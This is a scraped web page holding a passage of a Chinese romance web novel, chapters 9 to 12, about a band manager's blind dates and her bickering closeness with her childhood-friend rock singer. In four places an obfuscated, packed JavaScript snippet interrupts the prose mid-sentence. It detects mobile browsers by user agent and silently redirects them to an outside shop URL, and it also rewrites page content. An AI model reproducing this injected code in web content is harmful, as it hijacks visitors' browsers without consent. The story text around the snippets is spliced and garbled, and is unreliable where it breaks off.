“当然,他们很厉害。” “那你负责的是什么乐队?”男人问。 “你可能没听过……” “说说嘛,万一呢。” 江绪春犹豫了一下,还是照实道:“陆鲨。” “哦,就是主唱是娘炮的那个啊。” 男人完全下意识脱口而出,见她表情一冷,忙找补道:“我不是针对你啊,你知道的,网上都这么说的嘛……” “嗯。”江绪春垂下眼不想看他,拿起咖啡杯猛灌好几口,想早喝完早解脱。 陆鲨是签约公司后才爆火的,在这之前的最好成绩,也不过是去些音乐节凑数。 签约公司后,公司大肆营销段则的外貌,一年内乐队和段则微博涨粉数百万,第三年直接开上了体育馆。 这个世界上帅哥很多,因为外貌而爆火的也很多,但如果没有后续营销,大部分不过是昙花一现。 段则这朵昙花,在之前因为种种原因已经现了很多次,直到公司营销团队的加入,直接给他变成了永生花。 偏偏不管营销词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大部分时候,他的穿搭打扮都是一种利他性的展示。唯有香水这东西,他用得很自我。 江绪春很喜欢用他穿的香水,来推测他的心情,这是一项只有她自己知道的小游戏。 心情好的时候,他最常用的是一瓶薄荷西瓜味儿的香水,冰凉又清爽,就是冬天闻到会忍不住一激灵。 因为没有灵感而焦躁不安时,他会用烟熏雪松味儿让自己沉静下来,江绪春刚开始闻到时,还忍不住捏着鼻子问他是不是偷偷抽烟了。 至于心情不好时,就需要柠檬橙花之类的安神香来治愈一下自己。 江绪春忽而想起那天早上,当她再次去找段则提离职时,他的身上就弥散着一股淡淡的柠檬橙花味儿。 只是那时候她太自我,完全想着自己的事,都忘了这条小小的线索。 那时候的他,在烦恼些什么呢? 9. 第 9 章 相亲毫无疑问失败了。 母亲问她原因时,她没说男人说的那句话,只说没有眼缘。 “诶哟,你当是谈恋爱呐,还看什么眼缘。” 刘蓉一语道破婚姻真谛,末了好像觉得这么说不太合适,欲盖弥彰地干笑两声。 江绪春没忍住也笑了,她觉得母亲偶尔的坦诚很有趣。 “那你和我爸有没有眼缘?”她问。 “我和你爸是自由恋爱,我俩十八岁就在一起了,那能一样么?” 江绪春不服气地“哼”了一声。 “谁让你上大学时不抓紧找一个?”刘蓉满脸遗憾,“唉,要是小段喜欢女的就好了,你俩说不定能成,彼此知根知底,多好。” 江绪春一时心虚,端起桌上洗净切好的果盘回卧室独吞。 情窦初开后的男男女女还在一起玩,难免被传闲话。 刚上高一的江绪春反复和母亲解释他们只是普通朋友,偏偏对方根本不信。 不信就罢,还三番五次想要拆散他俩,觉得她的学习退步都赖段则。 可事实上,她只是因为上了高中后不太能跟上。 在学习这方面,她天赋平平,胜在足够认真。只是高中的知识,好像不是认真就能应付得了的。 成绩退步就够让人沮丧的了,如果还要失去一个好朋友,彼时青春期敏感的江绪春,真恨不得一头扎进学校的人工湖里。 最后,她想了一个馊主意——也可能没那么馊——谎称段则是同性恋。 父母其实都是很传统的人,如果江绪春说自己是同性恋,保准当晚就被打断腿,还得被灌下十袋中药试图扭转性向。 但如果是别人的孩子,为了自己的良好形象,他们就会表现得无比包容,反正有辱门楣的又不是他们家。 这个乍听很荒谬的谎言,居然就这么延续了十年有余。 江绪春还贴心嘱托过老两口,说段家对这件事很敏感,千万不要在段则和他妈面前提起这件事。 神奇的是,段则本人莫名其妙也维持住了这个人设,一个女生都没谈过。 很长一段时间,江绪春甚至怀疑过,自己当初说的有没有可能不是谎言。 有一年,乐队里的其他三个人都脱单了,歌迷们开玩笑说“三缺一”,江绪春便顺势旁敲侧击,问他怎么不加入他们。 “工作忙。”段则正忙着给吉他换弦,随口道。 “那……你喜欢什么样的女生?” 江绪春刻意将“女生”两个字咬得比较重,用余光观察着他。 段则神色如常,抬头思考了几秒,转了下手里的钳子:“有眼缘的吧。” ……这神奇的眼缘。 “那你呢,你怎么没谈?”没等到回复,段则忽地将话题转移给她。 “你忙我也忙啊。”江绪春现学现用。 “那真是抱歉了。”段则闻言笑笑,低头继续拧弦。 - 虽然对于痛失电网金龟婿这件事,刘蓉非常的痛心,但民主社会,她决定还是尊重女儿的意愿。 尊重的结果,就是第二天她不知上哪又变出了两个男人。 “看看,哪个比较有眼缘?”刘蓉点开两张照片。 江绪春很想说都没有,不过为了不挨一个爆栗,她还是随便点了一个。 “其实另一个条件更好一点……”刘蓉深吸一口气,像是下了莫大的决心,“行,妈妈尊重你的选择!” 翌日下午,江绪春坐在梳妆镜前开始鼓捣自己的脸。 台前的人有多光鲜亮丽,幕后的人往往就有多憔悴。 时刻在路上跑来跑去,作息不规律,江绪春已经很久没给自己化过全妆了,有时间只想睡觉。 太久不化妆,她的手艺稍显生疏。前天见电网男时,她就对自己好几个地方化得不够满意,打算今天好好纠正一遍。 想来就她这个水平,早年间居然还给陆鲨当过化妆师。 毕竟那时候,经费拮据到了入不敷出的地步,江绪春名义上只是助理,实则几乎项项全能。 好在给男人化妆很简单,大面积遮瑕过后,用粉底均匀一下肤色,然后一定要用无敌控油的定妆。 至于那些花花绿绿的彩妆,倒是不怎么用得上。 但那只是给另三个人化妆的步骤。 他们追寻所谓男子气概,要不是江绪春要求,他们有时候连脸都懒得洗,灯光一打整个人油光满面,让她直扶额。 而段则是她最好的模特。 那时候她对化妆还很有热情,喜欢鼓捣各式各样的妆容,可她天然只适合些白开水的妆,越素越漂亮,色彩一旦浓重起来,反而会很奇怪。 好在段则接住了她的创作热情。 天生一副上好的皮相和骨相,素颜就很招人,上妆也不在话下。 江绪春喜欢按照陆鲨每次演出的歌曲风格,为他设计不同的妆容。彰显态度的烟熏,破碎又坚忍的战损,偶尔她突然冒出点小巧思,挑了些颇为粉嫩的色彩,段则也消化得很好。 给人化妆其实是件很亲密的事。 尤其是处理一些细节部分,彼此近到能感受到对方的鼻息。 那次,段则刚洗完脸,脸上还带着微微的湿意,江绪春手拿修眉刀,准备帮他修去一些杂毛。 他的眉毛天生浓密,形状漂亮,江绪春要做的就是“吹毛求疵”,找出那么几根不和谐的存在。 江绪春捧着他的脸,想从整体先观察一遍,段则就那么微微昂头,用上目线乖巧地看着她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202904|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 睫毛上还挂着水珠,衬得整个眼睛都水汪汪的。有人评价他的目光天生带着冷意,或许因为大多数人只能仰视或平视他,而当视角变作俯视时,那双眼其实无辜得要命。 江绪春试着不去看他的眼睛,目光流转过线条明晰高挺的鼻梁,唇珠饱满的双唇,最后泄气地一松手,整个人突然颓丧下来。 “怎么了?”段则不解道。 “你怎么长这么好看。” 江绪春的语气里没有称赞,有的只是真情实感的不满。 她真的很生气,气老天怎么这么不公平,同样都是人,为什么有的人就可以长这么好看。 好看到她看了这么多年,还是时不时被帅得一激灵。 她的愠怒来得莫名又奇怪,段则没去追问,似笑非笑道:“不好看怎么赚钱给你?” “你又不是为了赚钱给我才长这样的。”江绪春开始蛮不讲理。 “你就说挣没挣到吧。” “也没多少钱啊。” “辛苦你了。”段则双手搭上她的肩,轻轻晃了两下,“那我以后再努努力,好不好?” 没人能对着这张好看的脸说“不好”,江绪春也是。 而段则兑现了他的承诺,真的靠这张脸挣到了很多很多钱。 只是她也不知道,这是不是他真的想要的。 眼一眨,镜中变回了那张平凡的脸。 虽然她高中长开后,常被各个大爷大娘说“这姑娘生得真俊”,但和段则一对比,就觉得这都是些客套话。 一番描画后,这张脸变得明艳了几分。 江绪春拿起加热好的卷发棒,准备简单卷个造型时,手机响了。 来电的是段则,她点开外放,开始专心致志卷头发。 “小鸭,你忙么?”那头开门见山。 “还好。”江绪春说,“怎么了?” “晚上要不要去‘陈家饭屋’吃饭?我刚刚路过,突然特别馋。” “陈家饭屋”是两人高中附近的一家小餐厅,主打平价实惠。口味算不上多惊艳,但算是二中学生们的回忆。 两人有时候不想在食堂吃饭,就会来这家。他们最常坐的是二楼角落靠窗的一个位置,在这里见证过二中的学生表白、吵架、斗殴,也听过很多炸裂的八卦。 如此种种,都是青春。 “你回兴榕了?”江绪春捕捉到重点。 “嗯,下午刚到。” “今晚可能不行。” “为什么?” “我要去相亲。” 那头沉默了半晌:“这就是你回老家的真正目的?” 段则的揣测让她有点不爽,她故意道:“嗯,怎么了?” “没怎么,那我祝你失败。” 10. 第 10 章 江绪春上一秒还在镜中欣赏着自己,觉得自己今天的妆容和发型都非常完美,下一秒听了他的话,气不打一处来。 “你什么意思?”她不满道。 “没什么。”段则说完,很没有礼貌地挂断了电话。 江绪春坐在梳妆镜前,默默生了一分钟闷气,越想越气不过,干脆打了回去。 那头接了,语气很无辜:“喂?” 江绪春劈头盖脸就是一句:“你凭什么祝我失败?” 一阵沉默后,段则道:“好,祝你成功。” “你的语气一点也不真诚。” “……”她能听见对面深吸一口气,“那就祝江女士旗开得胜,一举拿下,步入美好婚姻殿堂,我一定会给你准备一份厚厚的礼金。” 江绪春依然不爽:“你阴阳我。” “那怎么着你才满意?你给我个台词,我照着念好不好?” “不好。” “我给你登门道歉行不行?” “行。” 江绪春顺口说完,愣了一下。 对面也愣了几秒:“好,我现在就来。” 江绪春慌忙看了眼时间:“不行,来不及了,我要出门了。” “你让他等着,我已经在路上了。” “不行,我才不要。” “那你告诉我你们去哪相亲,我当他面给你道歉。” “……你有病吧段则。” “不是你嫌我不够诚心么?” “我不要你道歉了。”江绪春抓起手机往外走,“晚上再聊吧。” “好,祝你失败。” “段则!!!” 江绪春气愤的高喊刚说一半,就被“滴滴滴”的提示音打断了。 她站在原地整整思考了两分钟,才压制住自己真的让他马上登门道歉的冲动。 今天见的对象没有前一位那么“显赫”的家世,但高低也是个公务员,家长们最爱的职业。 尽管是个还需要家里接济的底层岗,胜在未来可期。 他长得比电网男要儒雅些,一举一动很绅士,笑起来眉眼弯弯很是亲切。 两人相谈甚欢,到最后,江绪春甚至向他请教起考公经验。 对方很大方,知无不言言无不尽,还答应回家后整理一份资料包给她。 一切都很顺利,男人贴心地将她送回家,临别时,两人约好了周末一起去看电影。 刚走进楼道,江绪春就迫不及待给段则打了通电话炫耀。 “你的诅咒失效了哦,我成功了呢。” “是么,婚期哪天?” “倒也没那么快……” “哦,我还以为你们下午就去领证了。”段则说,“证还没拿到手,算什么成功?” “你这人说话怎么这么讨厌啊。” 和段则一比,刚刚那个男人真是贴心又温柔。 “只是我们对成功的定义出了点偏差。” “算了,不和你胡扯了。”江绪春摸出钥匙开门,“我要和他聊天了,拜拜。” 连着被他挂了两通电话,这次江绪春眼疾手快,先一步按下挂断键。 挂断别人的电话果然很爽。 江绪春哼着小曲儿,心情愉悦地准备卸妆,换衣、卸妆、面膜、护肤,一套流程下来再看手机,来了好几条消息。 男人遵守承诺,发了个压缩包给她。 下载间隙,她去看了眼段则发来的消息。 第一条来自她挂断电话的五分钟后。 [段则:和他聊什么呢?] 过了五分钟。 [段则:聊这么开心?] 又过了十分钟。 [段则:公司那边有个文件需要你交一下。] [段则:提醒一下,你目前尚处于在职状态。] 一刻钟后。 [段则:你聊吧,我已经帮你交了。] 江绪春这才想起来,陆鲨下下个月有个商场站台宣传活动,这是休假前就定好的,其中一些细节方面需要她和主办敲定好。 [江绪春:不好意思,我刚刚在卸妆。] [江绪春:麻烦你了,下次有急事你直接打电话给我就好。] 那头很快回复。 [段则:可不敢打扰你聊天。] [段则:合着见我就不需要化妆。] [江绪春:我们天天见面,难道还要我天天化妆?] [段则:这不是好几天没见了么?] 这人怎么句句都在抬杠。 [江绪春:你今天怎么了?] 过了好几分钟,屏幕上才弹出一条消息。 [段则:我先睡了,晚安。] 江绪春盯着对话框看了半分钟,没有回复,切出去开始感谢男人的慷慨分享。 两人简单聊了几句,可能是隔着屏幕,看不到脸也听不到语气,对话显得有些干巴巴。他显然也感受到了,没聊几句便互道晚安。 刚刚明明还很愉快的心情,这会儿突然低落起来。 江绪春退出和男人的对话框,机械地划动着手机,最终没忍住又戳进了和段则的对话框。 她盯着最后那句“晚安”,手指在键盘上放了又悬。 良久,江绪春轻叹一口气,正准备退出去时,忽地睁大了眼—— 顶上现出一行“对方正在输入……”。 她的心开始不受控制地跳得很快。 和段则相识数年,聊过的天怕是有百万字,她不知道自己此刻在不安激动些什么。 那头输入了多久,她就盯着看了多久。 足够打一篇小作文的时间,得到的却只有三个字。 [段则:睡了么?] 屋内很静,江绪春清晰听见自己咽下口水的声音。 [江绪春:没有。] 一通电话就在下一秒打来。 段则的声音因着疲惫而泛哑,带了点慵懒劲儿,就是开口的话听得人直皱眉:“没打扰你和他聊天吧?” 江绪春不想和他继续无聊的抬杠游戏:“没有,我们没在聊了。” “怎么不聊了?” “没什么话说。” 她太坦诚,好像迫使段则良心发现,没再说些讨厌的话。 段则:“那我有话和你说。” 江绪春将一只枕头抱在怀里,换了个舒服的姿势,应道:“嗯,你说吧,我听着呢。” 那头沉默了十余秒才开口,声音透过电磁波沙沙的,像有把小刷子在搔她的耳朵。 “我今天挺忙的,先把小狗送去寄养,又去录了个demo,把家里大扫除了一番,才去机场赶飞机。” 江绪春“嗯”了一声。 段则继续道:“一到家和我妈闲聊了几句,其实气氛还行,没吵架,但你知道的,我之前和你说过,我不知道为什么,和她有点相处不来。” 段则是和她说过,由于他自己不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202905|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个中原因,所以江绪春也只能知其然不知其所以然。 她张了张口,欲言又止,打算把话语权都交给他。 段则:“所以我今天,心情不是太好。” “听出来了。” 从第一通电话就听出来了。 “你知道我为什么祝你失败吗?” 果然再听到这话还是很不爽,江绪春捺下脾气:“为什么?” “因为我想到了很多朋友,很多从前玩得很好的朋友,明明之前哪怕身处异地,每年也要约着见上好几面,但他们结婚后,我们一年都不一定能见一面。” 闻言,江绪春也想到了很多朋友。 到这个年纪,身边像她这样未婚未育的反而成少数了。 就像段则说的那样,他们的重心逐渐转移到家庭,和她的关系随着共同话题一同减少。 “我不想失去你。”段则顿了顿,“你是我最好的朋友。” 江绪春将头埋进枕头里,没说话,听着听筒内外彼此错频的呼吸声。 “但我刚刚冷静了一段时间。”段则说,“我不应该因为心情不好就迁怒你,所以小鸭,对不起,我和你道歉。” 段则这个人就是这样,有时候很浑,但关键时刻又很认真。 他能口无遮拦地给江绪春气到不行,事后也会无比诚恳地给她道歉。 这大概也是江绪春愿意和他做这么多年朋友的原因。 “没关系。”她蜷缩在床上,声音也变得黏糊糊的,“我没再生气啦。” “那你答应我一件事。” “什么事?” “等你结婚了,我们能不能继续当朋友?” “当然可以啊。” 她应得爽快,却听见那头长长地叹出一口气。 “他们结婚前也是那么说的。”段则轻笑两声,“算了,我还是个男的,回头容易让你对象误会。” “什么叫‘算了’,难道我结婚了,你就不愿意和我做朋友了?” “这不是我愿不愿意的事,这是到时候自然而然会发生的事。” 江绪春心头蓦地一阵酸涩。 她突然一点也不憧憬婚姻了。 她还想和段则做朋友,还想当他每首歌的第一个听众,还想和他满大街漫无目的地遛弯,还想摸他毛茸茸的头发,还想把自己化身成一只大型枕头,让他想枕哪里枕哪里。 “段则。”千言万语,只能化成他的名字。 “嗯。”他语气带笑,耐心等了一会儿,见她没有下文,又道,“我发现,你现在好像只叫我大名了。” “不然叫你什么?” “叫我……”段则欲言又止。 江绪春在床上翻了个身,逐渐想起了很多。 从前的她会随情境和心情变化,喊他王八蛋、狗东西、十三点、二百五、装x怪、墨镜男……反正都不是什么好词儿。 不知从什么时候开始,她只喊他段则了。 就像他不知道为什么和母亲相处不来,她也不知道为什么自己改变了对他的称呼。 有意无意间,她似乎决定开始和他保持一些距离。 “因为我想要变得文明一点。”江绪春找了个冠冕堂皇的借口。 这借口烂到段则都一秒听出来了,他笑了笑:“小鸭。” 她改变了,他没有,还坚持用着那个从幼时至今的昵称。 “嗯?” “无论如何,我希望你能幸福。” 11. 第 11 章 虽然段则的诅咒变成了祝福,但江绪春的幸福好像还是没能降临。 两天后,她和公考男如约一同去看电影。 两人看的是部喜剧片,比想象中要好笑许多,只是好几次当她捧腹后转头,对上的是这么一张脸时,快乐好像突然被减淡许多。 他不难看,五官很端正,只是两人之间,好像就欠缺了那么一点眼缘。 那天不该和母亲提起这个词的,惹得她后面都快被此洗脑。这个没眼缘,那个没眼缘,那如果看谁都没眼缘,难道就不结婚了吗? 这个想法冒出来的第一瞬,江绪春小小地动摇了一下。 但如果她追求一份自由的生活,她就不该回来;如果她选择回来,就必须要遵循小城市的生活法则。 世上哪有两全的好事。 看完电影,两人约着一起在商场内吃饭。 走出电影院时,江绪春忽觉肩被人一搂,下意识倒向一边。 待她惊魂未定地站定,才看见不知从哪冒出一个小男孩,就这么擦着她的腿跑远。 “没事吧?”危机解除,公考男第一时间放开了她的肩膀。 彼此四目相接,她礼貌微笑:“没事。” 他很绅士,江绪春想,可以给他加上一分。 也许累积到一定分数,所谓眼不眼缘就已经不重要了。 两人一层层乘扶梯向上去美食层,公考男在和她聊刚刚的电影,聊剧情走向,人物情感动机,江绪春没好意思说,她只记住了一个个笑点。 她吃力应付着,面前突然飘过一个熟脸。 段则正戴着一顶冷帽,尽心尽责藏好他懒得拉直的小卷毛,手里拎着某连锁商超的编织袋,看来刚采购完毕。 “哟。”段则先开了口,目光玩味地扫了眼两人,“真巧。” 公考男面上保持着得体的微笑,快速打量了他一番:“他是……?” 目光是朝着段则的,话语却是朝着江绪春。 “我朋友。”语毕,江绪春看向段则,“我的相亲对象。” 两个男人目光再次碰撞,嘴都是笑着的,眼神里却读不出太多友好。 江绪春讨厌这种尴尬场面,主动打破僵局道:“那,我就和他先去吃饭啦。” 这话是对着段则说的,公考男脸上的笑容却盛了一层。 “行。”段则爽快地一抬手,“拜拜。” 彼此肩膀相错,各奔东西。 踏上新一层扶梯时,江绪春没忍住回头望了一眼。 撞上了段则同样回望的眼。 扶梯在上升,段则的脸在视野里越缩越小,他没太多表情,只是很平静地回头望向他,随着她的上升一点点抬起头。 手腕忽而被人一把扣住。 江绪春猝然回看,公考男用力拽了她一下,她踉跄着走出扶梯。 “下次一个人坐扶梯不要乱看,很危险的。”公考男语气温柔地提醒道。 “那和你在一起可以乱看吗?”她不知道自己为什么接了这一句。 公考男神色稍怔,少顷后道:“可以,我会努力保护好你。” 他给人很有安全感,江绪春决定给他再加一分。 只是她也不知道,要加到几分,才足够抵消眼缘这种玄而又玄的东西呢。 两人一起吃了顿火锅,在不熟悉彼此口味的时候,这个选择是最不会出错的。 店里没开空调,热气熏得两个人脸颊都红扑扑的,公考男主动担起了涮菜的任务,每次菜烫熟了,他都第一个夹给她。 江绪春笑盈盈地说“谢谢”,下一秒就看他用同一双筷子,给自己也夹了一块肉,在碗里蘸了蘸后,大口放进嘴里。 怎么不用公筷呢,江绪春决定给他扣一分。 她做了会儿心理建设,刚夹起一筷子肉准备吃,耳边忽而传来细碎的咂巴嘴的声音。 江绪春抬头看向他,确认了声音的来源。 “好吃吗?”公考男毫无察觉,微笑问她。 江绪春一边点点头,一边在心底又扣了一分。 好不容易积攒来的两分,当天就归了零,这要到什么时候才是个头。 一餐饭毕,两人走出商场。 被夜半的冷风一吹,江绪春的头脑蓦地清明了些,也决绝了些。 不管是浪费自己还是对方的时间,都很可耻。 她婉拒了对方送她回家的提议,接着道:“我想了想,感觉我们好像还是不太合适。” 空气霎时被凝滞。 “为什么?”公考男难以置信地问。 江绪春决定实话实说:“可能还是差一点眼缘。” 公考男半张着嘴,打量了她好一会儿:“你不会是来骗考公资料的吧?” “……” 那资料已经是三年前的了,且都是网上可以免费获取的,现在要是发上网分享,怕是都会被人嫌过时。 但到底是人家的心意,江绪春收到时还是很感谢的,现在却只觉得荒谬。 两人不欢而散,江绪春胃是涨的,心口是堵的,浑身上下的气儿都不顺。 段则突如其来的一条消息,就这么撞上了她的枪口。 [段则:我前两天帮你交的那份材料,被对方打回来了,有些细节方面我不太了解,你看有时间能不能处理一下。] 江绪春飞速敲打着键盘,还嫌不够快,干脆发了条语音过去。 “不是说好了休假吗,为什么还有工作,这就是你不肯让我辞职的原因吗?还有,我又没让你帮我填,改东西比从头做还麻烦,真烦。” 气鼓鼓地发泄一通,江绪春的怒火好像就此熄灭了些。 她深吸一口气,正准备调整心情开始工作时,段则的消息又弹了出来。 [段则:不用你改了,我自己研究一下和他们对接吧。] [段则:你心情不好吗,小鸭。] 隔着屏幕,江绪春都能想象出他的语气和神情。 她是一个很容易把情绪写在脸上,可又不爱开口去说的人。 于是有时候,段则会入定般盯着她看一会儿,然后问她心情如何。 开心时不必多说,需要说的自是些不开心的时刻。 观察人的时候,他会不自觉歪着脸,目光因思考微微涣散,全无平日的锐利冷漠。 接收到负面信号后,他的眉心也会蹙起一点,不解又担忧地问她是不是不开心,声音有点儿黏糊糊的。 大部分时候,江绪春的不开心其实和他无关。 被他这么无辜地问上一句,她总觉得自己是不是不小心迁怒到他了,出于歉疚,气不知不觉也消了。 真神奇,次数多了后,哪怕是隔着屏幕看到这句话,她的心情都会莫名其妙好上一点。 可她还是有那么点儿不爽,那么点儿不见面就无法缓解的不爽。 [江绪春:陪我出来喝酒。] 她命令他。 那头很爽快。 [段则:哪家。] [江绪春:你猜。] 发完这句话,江绪春就把手机放进口袋,走到最近的公交车站开始等公交。 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202906|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗外的景象不断后退,五站路后,她随着人流下车。 拐过一个巷口,尚未踏上路牙,江绪春下意识却步。 清吧门口,站着一个全副武装的男人。冲锋衣被拉到顶,遮住半张脸,棒球帽压得很低,双手插兜,浑身上下露出的唯一一点皮肤,不过是那一截高挺的鼻梁。 就算看不到脸,这般身高和身形,在兴榕这座小城都难寻第二个。 更何况,此刻这个男人突然对她比了个拇指向下的手势,微微昂头俯视她,露出小半截下巴和一张说着刻薄话的嘴。 “怎么这么慢,你是小鸭子还是小乌龟。” 想在他嘴里获得做人的资格太难了。 江绪春小跑上前,毫不犹豫地给他胸口来了一拳。 段则结结实实地挨下那一拳,顺势拉她手腕,胳膊一伸,比起揽,更像是把她夹在了臂弯里。 江绪春跌跌撞撞地被他带着往里走,冲锋衣的面料微凉,他的手又过分温暖。明明再多两厘米就能够到一米七的门槛,在他身边却总觉得自己是个小矮子。 “进去没找到你,还以为我猜错了。”段则边走边说,“后来我想不可能啊,我看你跟明镜似的。” “我下次肯定换一家。”江绪春不满道。 “城南那家?” 又被猜中的江绪春:“……好烦。” 两人去过兴榕很多大大小小的酒吧,而这是两人去过的第一家。 彼时刚刚高考结束,终于解放的江绪春觉得自己作为成年人,得做点成年人才能做的事。 她先去网吧待了两小时,不爱打游戏的她,被烟味熏得连电影都没看完就走了。 成年人还能做什么呢,江绪春想到了酒吧。 但她对这种地方有点犯怵,于是,她向段则发出了邀请。 段则比她还叛逆,一见面给她吓一跳,两只耳朵新打了八个耳洞,右眉也打了个洞,整个人亮闪闪的像只乌鸦。 “疼吗?”江绪春好奇。 “疼,但是帅。” 他一说话,嘴巴里也忽闪忽闪的,江绪春以为他给自己镶了颗金牙,掐着他脸颊往里一看,才发现是舌头上穿了个孔。 明明几天前,还和她一样规规矩矩穿着校服呢。 “阿姨不会骂你吗?”江绪春忍不住问。 “没,她只会嫌我耳洞位置打得不好,我在考虑要不要养起来重打。” “……”江绪春不知道自己该不该羡慕他家长的开明。 不过后来,他只保留了四个耳洞,一双在耳垂,一双在耳骨,剩下的洞都慢慢愈合了。 他喜欢尝试新东西,但大多也仅限于尝试。 某种意义上,他甚至算是一个守旧的人。 他最好的朋友只有两个,一个是江绪春,还有一个是某初中男同学,都是十几二十年的交情。 高中的斜挎包现在他偶尔还会背,已经从当年的时兴款变成了如今的千禧风;还有他的第一枚吉他拨片,从小学保留到了现在,被珍藏在展示柜的最上方;就连手机系统,每次他都姗姗来迟过了几代才更新。 他曾写过一首歌表达对旧物的迷恋,他说那是因为旧的让他安心。 “那你找对象也要找旧的吗?” 有歌迷在他歌曲下评论。 “那不行,和熟人在一起太奇怪了。”段则回复。 江绪春惯例每日休息刷社媒时,刷到了这条对话。 她面无表情地看完,划过,半晌又忍不住划回去,盯着看了半天。 嗯,确实很奇怪。 12. 第 12 章 那次,同样是初次去酒吧的段则,装出一副熟客的样子,带她进了这里。 江绪春对于酒吧所有的理解来自于影视剧,震耳欲聋的音乐,刺眼的爆闪灯,纵情声色的男男女女,总让她感到害怕又好奇。 而事实上那是夜店,段则带她来的则是清吧。 推门悠扬的音乐舒缓了她的紧张情绪,江绪春好奇地打量着,发现这里的人都很平和、悠闲,似乎只是为了喝一杯酒,聊一场天。 莫名的,她有些喜欢这里。 面对琳琅满目的酒单,江绪春又开始紧张。她将眼睛睁得圆溜溜,在清吧昏黄的灯光下,一行行向下扫视。 总算看到一个熟悉的,她松了口气:“我要一杯长岛冰茶。” 江绪春对这杯酒的了解来自于一句歌词,“拿来长岛冰茶换我半晚安睡”。 正是爱伤春悲秋的年纪,哪怕她没恋过爱,自然也无恋可失,但她仍沉迷听那些苦情歌,将自己代入其中黯然神伤。 段则则点了一杯螺丝起子,那时的他不听苦情歌,但喜欢看推理小说,有本小说里的侦探就爱喝这个,他想试试。 两人就这样有些随意地开启了自己的第一次酒吧之旅。 两杯酒很快呈上,端上桌时,冰块敲击杯壁叮咚作响,彼此的心跳也随之加速。 一口下去,彼此抬眼对视,皱眉摇头,动作默契得跟唱双簧似的。 “一股感冒糖浆味儿。”江绪春说。 “带酒味的橙汁。”段则说。 饱含调酒师心血的作品就这样被两人粗暴概括。 话虽如此,考虑到那并不便宜的价格,两人还是一滴不剩都喝完了。 其实喝到一半,江绪春已经开始晕乎乎,她感觉周身莫名燥热,神经开始兴奋,那时候她还不明白这是酒精的作用。 等到明白已经晚了,她起身一个趔趄,世界开始天旋地转,一条直路在脚下,身子偏不受控往旁边拐。 与之相比,段则的状态倒还好些,除了双颊一片绯红,神志尚且清明。 他抓着江绪春的胳膊将她带出酒吧,一边看路,一边还得在她撞到人时,替她说声抱歉。 小城市的公交停运很早,两杯酒加一碟小食,也已经掏空了两人的全部积蓄。 好在酒吧离彼此的家不算远,一路走回去顺便醒醒酒,说不定到家被骂的程度还能轻点。 只是还没走出一条街,段则就已经受够了身边这个不倒翁。 明明看着挺瘦弱一姑娘,这会儿像头牛似的横冲直撞,一会儿撞花坛一会儿撞他,还逞强摆摆手说不用他扶。 段则沉思片刻,当真手一松,就看她一头扑进花坛里,可怜今夏刚长出的漂亮小花,被她压塌了一大片。 “哎呀。”江绪春尚且还能感受到尴尬,她扶着坛边站起,“突然脚滑了。” 段则轻叹一口气,走上前,背对她躬下身。 “什么意思?”江绪春不明白。 “上来,我背你。” 江绪春没有客套,三两下爬了上去,六月的晚风尚带着凉意,而他的背脊温暖又宽阔。 这是她第一次体会一米八多的视野,地面看起来好远,空气都清新了几分。 唯一的问题,大概是那时候的段则太瘦了,肩胛骨硌得她好疼。 “疼。”江绪春不满地在他背上扭来扭去,躲过左边那片,右边还有。 “别动。”段则喝她。 “你太瘦了。”江绪春嘀咕。 “那怎么办?” “唉。”江绪春将他环紧了些,试图在两片骨头间求生,“你多吃一点吧。” “知道了。” 好不容易安分下来不乱动,江绪春又实在是闲得无聊。周围的景致已经看了千万遍,就算换个角度也逐渐失去兴趣,她歪着脑袋靠在段则肩上,盯着他闪闪发光的耳钉出神。 看着看着,手就不安分起来,一把捏住一枚耳钉,好奇地转了转。 “嘶。”段则倒吸一口凉气,“干嘛呢你。” 江绪春跟没听到他的话似的,指头动作着又摸向了下一个。 “别动,小鸭。”段则试图制止。 可江绪春显然已经玩上瘾了,左耳转完又去转右耳,这blingbling的小玩意,转起来怎么这么有意思。 可怜段则两只手托着她的腿,实在没能长出第三只手制止她。好心劝慰和厉声责问都无果后,他叹了口气,在将她抛下去和自甘忍受间,咬牙忍痛选了后者。 “好漂亮。”江绪春一边转一边说,“闪闪的。” “你有病吧。” “哇,这个比较好转。” 